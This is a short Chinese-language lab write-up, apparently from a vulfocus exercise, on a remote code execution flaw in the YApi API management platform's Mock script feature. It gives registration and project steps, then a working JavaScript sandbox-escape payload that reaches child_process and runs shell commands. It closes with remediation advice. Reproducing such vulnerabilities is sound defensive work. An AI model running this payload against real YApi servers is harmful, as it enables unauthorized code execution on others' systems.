Yapi代码执行
背景:
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
漏洞编号:
影响版本:
复现步骤:
1,打开漏洞环境vulfocus
2,访问页面随意注册一个账户
3,新建项目
4,添加接口
5,添加脚本,依次点击
6,脚本位置输入POC,点击保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /tmp && ps -ef").toString()
7,点击访问Mock地址
8,得到flag
修复建议:
1,关闭YAPI注册功能
2,删除恶意账户
3,回滚服务器快照
4,同步删除恶意mock脚本以防止二次攻击